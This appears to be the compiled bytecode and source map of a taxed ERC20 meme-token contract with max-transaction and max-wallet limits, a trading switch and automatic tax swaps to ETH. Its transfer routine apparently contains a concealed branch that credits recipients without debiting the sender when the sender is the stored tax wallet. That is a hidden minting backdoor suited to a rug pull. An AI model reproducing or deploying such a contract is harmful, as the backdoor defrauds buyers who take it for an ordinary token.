4820152606401610350565b610b9e6064610b98600954600c5411610b8d57600554610b91565b6007545b8590610fab565b90611030565b6012549091506001600160a01b038581169116148015610bcc57506011546001600160a01b03848116911614155b15610c3857600d54821115610c235760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610350565b600c8054905f610c32836115c7565b91905055505b6012546001600160a01b03848116911614801590610c6e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ced57600e5482610c95856001600160a01b03165f9081526001602052604090205490565b610c9f91906115df565b1115610ced5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610350565b6012546001600160a01b038481169116148015610d1357506001600160a01b0384163014155b15610d4057610d3d6064610b98600a54600c5411610d3357600654610b91565b6008548590610fab565b90505b305f90815260016020526040902054601254600160b01b900460ff16158015610d7657506012546001600160a01b038581169116145b8015610d8b5750601254600160a81b900460ff165b8015610d985750600f5483115b8015610da75750600b54600c54115b15610ddc57600f54811115610dd357610dd3610dce84610dc984601054611071565b611071565b611085565b610ddc476111f5565b505b6004546001600160a01b03858116911603610e36576001600160a01b0383165f90815260016020526040902054610e159083611230565b6001600160a01b039093165f90815260016020526040902092909255505050565b8015610eae57305f90815260016020526040902054610e559082611230565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ed0908361128e565b6001600160a01b0385165f90815260016020526040902055610f13610ef5838361128e565b6001600160a01b0385165f9081526001602052604090205490611230565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f5c858561128e565b60405190815260200160405180910390a350505050565b5f8184841115610f965760405162461bcd60e51b815260040161035091906112fb565b505f610fa284866115f2565b95945050505050565b5f825f03610fba57505f610301565b5f610fc58385611516565b905082610fd28583611605565b146110295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610350565b9392505050565b5f61102983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cf565b5f81831161107f5782611029565b50919050565b6012805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110cb576110cb611624565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611122573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111469190611562565b8160018151811061115957611159611624565b6001600160a01b03928316602091820292909201015260115461117f9130911684610897565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b79085905f90869030904290600401611638565b5f604051808303815f87803b1580156111ce575f80fd5b505af11580156111e0573d5f803e3d5ffd5b50506012805460ff60b01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561122c573d5f803e3d5ffd5b5050565b5f8061123c83856115df565b9050838110156110295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610350565b5f61102983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f73565b5f81836112ef5760405162461bcd60e51b815260040161035091906112fb565b505f610fa28486611605565b5f6020808352835180828501525f5b818110156113265785810183015185820160400152820161130a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610894575f80fd5b5f806040838503121561136b575f80fd5b823561137681611346565b946020939093013593505050565b5f805f60608486031215611396575f80fd5b83356113a181611346565b925060208401356113b181611346565b929592945050506040919091013590565b5f602082840312156113d2575f80fd5b813561102981611346565b5f80604083850312156113ee575f80fd5b82356113f981611346565b9150602083013561140981611346565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146257815f190482111561144857611448611414565b8085161561145557918102915b93841c939080029061142d565b509250929050565b5f8261147857506001610301565b8161148457505f610301565b816001811461149a57600281146114a4576114c0565b6001915050610301565b60ff8411156114b5576114b5611414565b50506001821b610301565b5060208310610133831016604e8410600b84101617156114e3575081810a610301565b6114ed8383611428565b805f190482111561150057611500611414565b029392505050565b5f61102960ff84168361146a565b808202811582820484141761030157610301611414565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611572575f80fd5b815161102981611346565b5f805f6060848603121561158f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115b8575f80fd5b81518015158114611029575f80fd5b5f600182016115d8576115d8611414565b5060010190565b8082018082111561030157610301611414565b8181038181111561030157610301611414565b5f8261161f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6044a2cc15df6aa573f9d10e1725631183ba5e45f322107eaf5b15093b91ebd64736f6c63430008150033

3646:7283:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5462:83;;;;;;;;;;-1:-1:-1;5532:5:0;;;;;;;;;;;;-1:-1:-1;;;5532:5:0;;;;5462:83;;;;;;;:::i;:::-;;;;;;;;6295:161;;;;;;;;;;-1:-1:-1;6295:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6295:161:0;1023:187:1;5739:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5739:95:0;1215:177:1;10727:162:0;;;;;;;;;;;;;:::i;:::-;;6464:313;;;;;;;;;;-1:-1:-1;6464:313:0;;;;;:::i;:::-;;:::i;5648:83::-;;;;;;;;;;-1:-1:-1;5648:83:0;;4384:2;2000:36:1;;1988:2;1973:18;5648:83:0;1858:184:1;5842:119:0;;;;;;;;;;-1:-1:-1;5842:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5935:18:0;5908:7;5935:18;;;:9;:18;;;;;;;5842:119;2727:148;;;;;;;;;;;;;:::i;2513:79::-;;;;;;;;;;-1:-1:-1;2551:7:0;2578:6;2513:79;;-1:-1:-1;;;;;2578:6:0;;;2445:51:1;;2433:2;2418:18;2513:79:0;2299:203:1;5553:87:0;;;;;;;;;;-1:-1:-1;5625:7:0;;;;;;;;;;;;-1:-1:-1;;;5625:7:0;;;;5553:87;;5969:167;;;;;;;;;;-1:-1:-1;5969:167:0;;;;;:::i;:::-;;:::i;10605:114::-;;;;;;;;;;;;;:::i;9980:617::-;;;;;;;;;;;;;:::i;6144:143::-;;;;;;;;;;-1:-1:-1;6144:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6252:18:0;;;6225:7;6252:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6144:143;6295:161;6370:4;6387:39;348:10;6410:7;6419:6;6387:8;:39::i;:::-;-1:-1:-1;6444:4:0;6295:161;;;;;:::o;5739:95::-;5792:7;4554:13;4384:2;4554;:13;:::i;:::-;4540:27;;:11;:27;:::i;:::-;5812:14;;5739:95;:::o;10727:162::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;;;;;;;;;4554:13:::1;4384:2;4554;:13;:::i;:::-;4540:27;::::0;:11:::1;:27;:::i;:::-;10781:12;:22:::0;4554:13:::1;4384:2;4554;:13;:::i;:::-;4540:27;::::0;:11:::1;:27;:::i;:::-;10814:14;:24:::0;10854:27:::1;4554:13;4384:2;4554;:13;:::i;:::-;4540:27;::::0;:11:::1;:27;:::i;:::-;10854;::::0;1361:25:1;;;1349:2;1334:18;10854:27:0::1;;;;;;;10727:162::o:0;6464:313::-;6562:4;6579:36;6589:6;6597:9;6608:6;6579:9;:36::i;:::-;6626:121;6635:6;348:10;6657:89;6695:6;6657:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6657:19:0;;;;;;:11;:19;;;;;;;;348:10;6657:33;;;;;;;;;;:37;:89::i;:::-;6626:8;:121::i;:::-;-1:-1:-1;6765:4:0;6464:313;;;;;:::o;2727:148::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;2834:1:::1;2818:6:::0;;2797:40:::1;::::0;-1:-1:-1;;;;;2818:6:0;;::::1;::::0;2797:40:::1;::::0;2834:1;;2797:40:::1;2865:1;2848:19:::0;;-1:-1:-1;;;;;;2848:19:0::1;::::0;;2727:148::o;5969:167::-;6047:4;6064:42;348:10;6088:9;6099:6;6064:9;:42::i;10605:114::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;10655:11:::1;:18:::0;;-1:-1:-1;;;;10684:19:0;-1:-1:-1;;;10684:19:0;;;10605:114::o;9980:617::-;2640:6;;-1:-1:-1;;;;;2640:6:0;348:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;10045:12:::1;::::0;-1:-1:-1;;;10045:12:0;::::1;;;10044:13;10036:48;;;::::0;-1:-1:-1;;;10036:48:0;;5151:2:1;10036:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;10036:48:0::1;4949:347:1::0;10036:48:0::1;10095:15;:80:::0;;-1:-1:-1;;;;;;10095:80:0::1;10132:42;10095:80:::0;;::::1;::::0;;;10186:58:::1;::::0;10203:4:::1;::::0;4554:13:::1;4384:2;4554;:13;:::i;:::-;4540:27;::::0;:11:::1;:27;:::i;10186:58::-;10290:15;;;;;;;;;-1:-1:-1::0;;;;;10290:15:0::1;-1:-1:-1::0;;;;;10290:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10272:55:0::1;;10336:4;10343:15;;;;;;;;;-1:-1:-1::0;;;;;10343:15:0::1;-1:-1:-1::0;;;;;10343:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10272:94;::::0;-1:-1:-1;;;;;;10272:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;10272:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;10272:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10255:14;:111:::0;;-1:-1:-1;;;;;10255:111:0;;::::1;-1:-1:-1::0;;;;;;10255:111:0;;::::1;;::::0;;10377:15:::1;::::0;::::1;:31;10416:21;10447:4;10453:24;10447:4:::0;-1:-1:-1;;;;;5935:18:0;5908:7;5935:18;;;:9;:18;;;;;;;5842:119;10453:24:::1;10478:1;10480::::0;10482:7:::1;2551::::0;2578:6;-1:-1:-1;;;;;2578:6:0;;2513:79;10482:7:::1;10377:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10377:129:0;;;-1:-1:-1;;;;;6225:15:1;;;10377:129:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10490:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10377:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10524:14:0::1;::::0;10556:15:::1;::::0;10517:72:::1;::::0;-1:-1:-1;;;10517:72:0;;-1:-1:-1;;;;;10556:15:0;;::::1;10517:72;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;10524:14:0;::::1;::::0;-1:-1:-1;10517:30:0::1;::::0;6936:18:1;;10517:72:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9980:617::o:0;6785:335::-;-1:-1:-1;;;;;6878:19:0;;6870:68;;;;-1:-1:-1;;;6870:68:0;;7552:2:1;6870:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;6870:68:0;7350:400:1;6870:68:0;-1:-1:-1;;;;;6957:21:0;;6949:68;;;;-1:-1:-1;;;6949:68:0;;7957:2:1;6949:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;6949:68:0;7755:398:1;6949:68:0;-1:-1:-1;;;;;7028:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7080:32;;1361:25:1;;;7080:32:0;;1334:18:1;7080:32:0;;;;;;;6785:335;;;:::o;7128:2036::-;-1:-1:-1;;;;;7218:20:0;;7210:70;;;;-1:-1:-1;;;7210:70:0;;8360:2:1;7210:70:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7210:70:0;8158:401:1;7210:70:0;-1:-1:-1;;;;;7299:16:0;;7291:64;;;;-1:-1:-1;;;7291:64:0;;8766:2:1;7291:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7291:64:0;8564:399:1;7291:64:0;7383:1;7374:6;:10;7366:64;;;;-1:-1:-1;;;7366:64:0;;9170:2:1;7366:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7366:64:0;8968:405:1;7366:64:0;-1:-1:-1;;;;;7476:23:0;;7441:17;7476:23;;;:15;:23;;;;;;;;7475:24;:48;;;;-1:-1:-1;;;;;;7504:19:0;;;;;;:15;:19;;;;;;;;7503:20;7475:48;7471:1232;;;7548:12;;-1:-1:-1;;;7548:12:0;;;;7540:41;;;;-1:-1:-1;;;7540:41:0;;9580:2:1;7540:41:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:46;9694:18;;7540:41:0;9378:340:1;7540:41:0;7608:81;7685:3;7608:72;7635:15;;7620:14;;:30;7619:60;;7665:14;;7619:60;;;7652:12;;7619:60;7608:6;;:10;:72::i;:::-;:76;;:81::i;:::-;7720:14;;7596:93;;-1:-1:-1;;;;;;7710:24:0;;;7720:14;;7710:24;:58;;;;-1:-1:-1;7752:15:0;;-1:-1:-1;;;;;7738:30:0;;;7752:15;;7738:30;;7710:58;7706:193;;;7807:12;;7797:6;:22;;7789:59;;;;-1:-1:-1;;;7789:59:0;;9925:2:1;7789:59:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:26;9983:18;;;9976:54;10047:18;;7789:59:0;9723:348:1;7789:59:0;7867:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7706:193;7925:14;;-1:-1:-1;;;;;7919:20:0;;;7925:14;;7919:20;;;;:45;;-1:-1:-1;;;;;;7945:19:0;;;;;;:15;:19;;;;;;;;7943:21;7919:45;7915:165;;;8019:14;;8009:6;7993:13;8003:2;-1:-1:-1;;;;;5935:18:0;5908:7;5935:18;;;:9;:18;;;;;;;5842:119;7993:13;:22;;;;:::i;:::-;:40;;7985:79;;;;-1:-1:-1;;;7985:79:0;;10548:2:1;7985:79:0;;;10530:21:1;10587:2;10567:18;;;10560:30;10626:28;10606:18;;;10599:56;10672:18;;7985:79:0;10346:350:1;7985:79:0;8105:14;;-1:-1:-1;;;;;8099:20:0;;;8105:14;;8099:20;:46;;;;-1:-1:-1;;;;;;8123:22:0;;8140:4;8123:22;;8099:46;8096:182;;;8178:84;8258:3;8178:75;8205:16;;8190:14;;:31;8189:63;;8237:15;;8189:63;;;8223:13;;8178:6;;:10;:75::i;:84::-;8166:96;;8096:182;8344:4;8294:29;5935:18;;;:9;:18;;;;;;8370:11;;-1:-1:-1;;;8370:11:0;;;;8369:12;:36;;;;-1:-1:-1;8391:14:0;;-1:-1:-1;;;;;8385:20:0;;;8391:14;;8385:20;8369:36;:51;;;;-1:-1:-1;8409:11:0;;-1:-1:-1;;;8409:11:0;;;;8369:51;:77;;;;;8431:15;;8424:6;:22;8369:77;:114;;;;;8465:18;;8450:14;;:33;8369:114;8365:337;;;8529:15;;8507:21;:37;8504:129;;;8563:70;8579:53;8583:6;8590:41;8594:21;8616:14;;8590:3;:41::i;:::-;8579:3;:53::i;:::-;8563:15;:70::i;:::-;8652:34;8664:21;8652:11;:34::i;:::-;7525:1178;7471:1232;9753:8;;-1:-1:-1;;;;;9744:17:0;;;9753:8;;9744:17;8717:83;;-1:-1:-1;;;;;8756:13:0;;;;;;:9;:13;;;;;;:25;;8774:6;8756:17;:25::i;:::-;-1:-1:-1;;;;;8742:13:0;;;;;;;:9;:13;;;;;:39;;;;-1:-1:-1;;;7128:2036:0:o;8717:83::-;8815:11;;8812:163;;8883:4;8865:24;;;;:9;:24;;;;;;:39;;8894:9;8865:28;:39::i;:::-;8858:4;8840:24;;;;:9;:24;;;;;;;:64;;;;8922:41;;-1:-1:-1;;;;;8922:41:0;;;;;;;8953:9;1361:25:1;;1349:2;1334:18;;1215:177;8922:41:0;;;;;;;;8812:163;-1:-1:-1;;;;;9003:17:0;;;;;;:9;:17;;;;;;:29;;9025:6;9003:21;:29::i;:::-;-1:-1:-1;;;;;8985:17:0;;;;;;:9;:17;;;;;:47;9057:40;9075:21;:6;9086:9;9075:10;:21::i;:::-;-1:-1:-1;;;;;9057:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9043:13:0;;;;;;;:9;:13;;;;;:54;;;;9113:43;;;9134:21;:6;9145:9;9134:10;:21::i;:::-;9113:43;;1361:25:1;;;1349:2;1334:18;9113:43:0;;;;;;;7199:1965;7128:2036;;;:::o;1405:190::-;1491:7;1527:12;1519:6;;;;1511:29;;;;-1:-1:-1;;;1511:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1551:9:0;1563:5;1567:1;1563;:5;:::i;:::-;1551:17;1405:190;-1:-1:-1;;;;;1405:190:0:o;1603:246::-;1661:7;1685:1;1690;1685:6;1681:47;;-1:-1:-1;1715:1:0;1708:8;;1681:47;1738:9;1750:5;1754:1;1750;:5;:::i;:::-;1738:17;-1:-1:-1;1783:1:0;1774:5;1778:1;1738:17;1774:5;:::i;:::-;:10;1766:56;;;;-1:-1:-1;;;1766:56:0;;11258:2:1;1766:56:0;;;11240:21:1;11297:2;11277:18;;;11270:30;11336:34;11316:18;;;11309:62;-1:-1:-1;;;11387:18:1;;;11380:31;11428:19;;1766:56:0;11056:397:1;1766:56:0;1840:1;1603:246;-1:-1:-1;;;1603:246:0:o;1857:132::-;1915:7;1942:39;1946:1;1949;1942:39;;;;;;;;;;;;;;;;;:3;:39::i;9874:98::-;9931:7;9958:1;9956;:3;9955:9;;9963:1;9955:9;;;-1:-1:-1;9961:1:0;9874:98;-1:-1:-1;9874:98:0:o;9172:482::-;5109:11;:18;;-1:-1:-1;;;;5109:18:0;-1:-1:-1;;;5109:18:0;;;9273:16:::1;::::0;;9287:1:::1;9273:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9273:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9273:16:0::1;9249:40;;9318:4;9300;9305:1;9300:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9300:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9344:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9344:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9300:7;;9344:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9334:4;9339:1;9334:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9334:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9409:15:::1;::::0;9377:62:::1;::::0;9394:4:::1;::::0;9409:15:::1;9427:11:::0;9377:8:::1;:62::i;:::-;9450:15;::::0;:196:::1;::::0;-1:-1:-1;;;9450:196:0;;-1:-1:-1;;;;;9450:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9531:11;;9450:15:::1;::::0;9573:4;;9600::::1;::::0;9620:15:::1;::::0;9450:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5150:11:0;:19;;-1:-1:-1;;;;5150:19:0;;;-1:-1:-1;;;;9172:482:0:o;9777:89::-;9833:8;;:25;;-1:-1:-1;;;;;9833:8:0;;;;:25;;;;;9851:6;;9833:8;:25;:8;:25;9851:6;9833:8;:25;;;;;;;;;;;;;;;;;;;;;9777:89;:::o;1074:179::-;1132:7;;1164:5;1168:1;1164;:5;:::i;:::-;1152:17;;1193:1;1188;:6;;1180:46;;;;-1:-1:-1;;;1180:46:0;;12909:2:1;1180:46:0;;;12891:21:1;12948:2;12928:18;;;12921:30;12987:29;12967:18;;;12960:57;13034:18;;1180:46:0;12707:351:1;1261:136:0;1319:7;1346:43;1350:1;1353;1346:43;;;;;;;;;;;;;;;;;:3;:43::i;1997:189::-;2083:7;2118:12;2111:5;2103:28;;;;-1:-1:-1;;;2103:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2142:9:0;2154:5;2158:1;2154;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;10076:135;10115:3;10136:17;;;10133:43;;10156:18;;:::i;:::-;-1:-1:-1;10203:1:1;10192:13;;10076:135::o;10216:125::-;10281:9;;;10302:10;;;10299:36;;;10315:18;;:::i;10701:128::-;10768:9;;;10789:11;;;10786:37;;;10803:18;;:::i;10834:217::-;10874:1;10900;10890:132;;10944:10;10939:3;10935:20;10932:1;10925:31;10979:4;10976:1;10969:15;11007:4;11004:1;10997:15;10890:132;-1:-1:-1;11036:9:1;;10834:217::o;11590:127::-;11651:10;11646:3;11642:20;11639:1;11632:31;11682:4;11679:1;11672:15;11706:4;11703:1;11696:15;11722:980;11984:4;12032:3;12021:9;12017:19;12063:6;12052:9;12045:25;12089:2;12127:6;12122:2;12111:9;12107:18;12100:34;12170:3;12165:2;12154:9;12150:18;12143:31;12194:6;12229;12223:13;12260:6;12252;12245:22;12298:3;12287:9;12283:19;12276:26;;12337:2;12329:6;12325:15;12311:29;;12358:1;12368:195;12382:6;12379:1;12376:13;12368:195;;;12447:13;;-1:-1:-1;;;;;12443:39:1;12431:52;;12538:15;;;;12503:12;;;;12479:1;12397:9;12368:195;;;-1:-1:-1;;;;;;;12619:32:1;;;;12614:2;12599:18;;12592:60;-1:-1:-1;;;12683:3:1;12668:19;12661:35;12580:3;11722:980;-1:-1:-1;;;11722:980:1:o

ipfs://c6044a2cc15df6aa573f9d10e1725631183ba5e45f322107eaf5b15093b91ebd